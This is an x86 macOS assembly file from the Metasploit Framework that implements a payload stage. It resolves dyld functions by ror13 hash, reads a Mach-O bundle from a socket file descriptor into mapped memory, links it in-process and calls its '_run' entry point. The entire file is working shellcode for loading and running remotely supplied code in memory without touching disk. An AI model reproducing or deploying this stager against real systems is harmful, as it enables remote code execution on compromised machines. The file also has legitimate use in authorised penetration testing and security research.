metasploit-framework/external/source/osx/x86/include/_inject_bundle.s

297 lines
6.5 KiB
ArmAsm

;;;
;;; Skip straight to inject_bundle when we assemble this as bin file
;;;
jmp _inject_bundle
;;; --------------------------------------------------------------------
;;; Constants
;;; --------------------------------------------------------------------
%define MAP_ANON 0x1000
%define MAP_PRIVATE 0x0002
%define PROT_READ 0x01
%define PROT_WRITE 0x02
%define NSLINKMODULE_OPTION_BINDNOW 0x1
%define NSLINKMODULE_OPTION_PRIVATE 0x2
%define NSLINKMODULE_OPTION_RETURN_ON_ERROR 0x4
;;; --------------------------------------------------------------------
;;; ror13_hash(string symbol_name)
;;;
;;; Compute the 32-bit "ror13" hash for a given symbol name. The hash
;;; value is left in the variable hash
;;; --------------------------------------------------------------------
%macro ror13_hash 1
%assign hash 0
%assign c 0
%strlen len %1
%assign i 1
%rep len
%substr c %1 i
%assign hash ((((hash >> 13) | (hash << 19)) + c) & 0xFFFFFFFF)
%assign i i + 1
%endrep
%endmacro
;;; --------------------------------------------------------------------
;;; dyld_resolve(uint32_t hash)
;;;
;;; Lookup the address of an exported symbol within dyld by "ror13" hash.
;;;
;;; Arguments:
;;; hash - 32-bit "ror13" hash of symbol name
;;; --------------------------------------------------------------------
_dyld_resolve:
mov eax, [esp+4]
push eax
push 0x8fe00000
call _macho_resolve
ret 4
;;; --------------------------------------------------------------------
;;; macho_resolve(void* base, uint32_t hash)
;;;
;;; Lookup the address of an exported symbol within the given Mach-O
;;; image by "ror13" hash value.
;;;
;;; Arguments:
;;; base - base address of Mach-O image
;;; hash - 32-bit "ror13" hash of symbol name
;;; --------------------------------------------------------------------
_macho_resolve:
push ebp
mov ebp, esp
sub esp, byte 12
push ebx
push esi
push edi
mov ebx, [ebp+8] ; mach-o image base address
mov eax, [ebx+16] ; mach_header->ncmds
mov [ebp-4], eax ; ncmds
add bl, 28 ; Advance ebx to first load command
.loadcmd:
;; Load command loop
xor eax, eax
cmp dword [ebp-4], eax
je .return
inc eax
cmp [ebx], eax
je .segment
inc eax
cmp [ebx], eax
je .symtab
.next_loadcmd:
;; Advance to the next load command
dec dword [ebp-4]
add ebx, [ebx+4]
jmp .loadcmd
.segment:
;; Look for "__TEXT" segment
cmp [ebx+10], dword 'TEXT'
je .text
;; Look for "__LINKEDIT" segment
cmp [ebx+10], dword 'LINK'
je .linkedit
jmp .next_loadcmd
.text:
mov eax, [ebx+24]
mov [ebp-8], eax ; save image preferred load address
jmp .next_loadcmd
.linkedit:
;; We have found the __LINKEDIT segment
mov eax, [ebx+24] ; segcmd->vmaddr
sub eax, [ebp-8] ; image preferred load address
add eax, [ebp+8] ; actual image load address
sub eax, [ebx+32] ; segcmd->fileoff
mov [ebp-12], eax ; save linkedit segment base
jmp .next_loadcmd
.symtab:
;; Examine LC_SYMTAB load command
mov ecx, [ebx+12] ; ecx = symtab->nsyms
.symbol:
xor eax, eax
cmp ecx, eax
je .return
dec ecx
imul edx, ecx, byte 12 ; edx = index into symbol table
add edx, [ebx+8] ; edx += symtab->symoff
add edx, [ebp-12] ; adjust symoff relative to linkedit
mov esi, [edx] ; esi = index into string table
add esi, [ebx+16] ; esi += symtab->stroff
add esi, [ebp-12] ; adjust stroff relative to linkedit
;; hash = (hash >> 13) | ((hash & 0x1fff) << 19) + c
xor edi, edi
cld
.hash:
xor eax, eax
lodsb
cmp al, ah
je .compare
ror edi, 13
add edi, eax
jmp .hash
.compare:
cmp edi, [ebp+12]
jne .symbol
mov eax, [edx+8] ; return symbols[ecx].n_value
sub eax, [ebp-8] ; adjust to actual load address
add eax, [ebp+8]
.return:
pop edi
pop esi
pop ebx
leave
ret 8
;;; --------------------------------------------------------------------
;;; inject_bundle(int filedes)
;;;
;;; Read a Mach-O bundle from the given file descriptor, load and link
;;; it into the currently running process.
;;;
;;; Arguments:
;;; filedes (edi) - file descriptor to read() bundle from
;;; --------------------------------------------------------------------
_inject_bundle:
push ebp
mov ebp, esp
sub esp, byte 12
mov esi, edi ; arg0: filedes
.read_size:
;; Read a 4-byte size of bundle to read
xor eax, eax
mov al, 4
push eax ; nbyte
lea edi, [ebp-4]
push edi ; buf
push esi ; s
push eax
dec eax
int 0x80
jb .read_error
cmp eax, ecx ; A zero-read signals termination
je .read_error
mov ecx, [ebp-4]
xor eax, eax
cmp ecx, eax
je .read_error ; A zero value signals termination
jmp .mmap
.read_error:
jmp .error
.mmap:
;; mmap memory
xor eax, eax
push eax
push -1
push (MAP_ANON | MAP_PRIVATE)
push (PROT_READ | PROT_WRITE)
push ecx ; size
push eax
push eax ; spacer
mov al, 197
int 0x80
jb .error
mov edi, eax ; memory buffer
mov [ebp-8], edi
;; read bundle from file descriptor into mmap'd buffer
.read_bundle:
xor eax, eax
push ecx ; nbyte
push edi ; buf
push esi ; filedes
push eax ; spacer
mov al, 3
int 0x80
jb .error
add edi, eax
sub ecx, eax
jnz .read_bundle
mov edi, [ebp-8] ; load original memory buffer
;; Now that we are calling library methods, we need to make sure
;; that esp is 16-byte aligned at the the point of the call
;; instruction. So we align the stack here and then just be
;; careful to keep it aligned as we call library functions.
sub esp, byte 16
and esp, 0xfffffff0
;; load bundle from mmap'd buffer
push byte 0 ; maintain alignment
lea eax, [ebp-8]
push eax ; &objectFileImage
push dword [ebp+12] ; size
push edi ; addr
ror13_hash "_NSCreateObjectFileImageFromMemory"
push dword hash
call _dyld_resolve
call eax
cmp al, 1
jne .error
;; link bundle from object file image
xor eax, eax
push eax
mov al, (NSLINKMODULE_OPTION_RETURN_ON_ERROR | NSLINKMODULE_OPTION_BINDNOW)
push eax
push esp ; ""
push dword [ebp-8]
ror13_hash "_NSLinkModule"
push dword hash
call _dyld_resolve
call eax
;; run_symbol = NSLookupSymbolInModule(module, "_run")
mov ebx, eax
xor eax, eax
push eax ; "\0\0\0\0"
push 0x6e75725f ; "_run"
mov eax, esp
push eax ; sym
push ebx ; module
ror13_hash "_NSLookupSymbolInModule"
push dword hash
call _dyld_resolve
call eax
;; NSAddressOfSymbol(run_symbol)
sub esp, 12 ; maintain alignment
push eax
ror13_hash "_NSAddressOfSymbol"
push dword hash
call _dyld_resolve
call eax
;; _run(socket)
sub esp, 12 ; maintain alignment
push esi
call eax
.error:
;; Exit cleanly
xor eax, eax
push eax ; EXIT_SUCCESS
push eax ; spacer
mov al, 1
int 0x80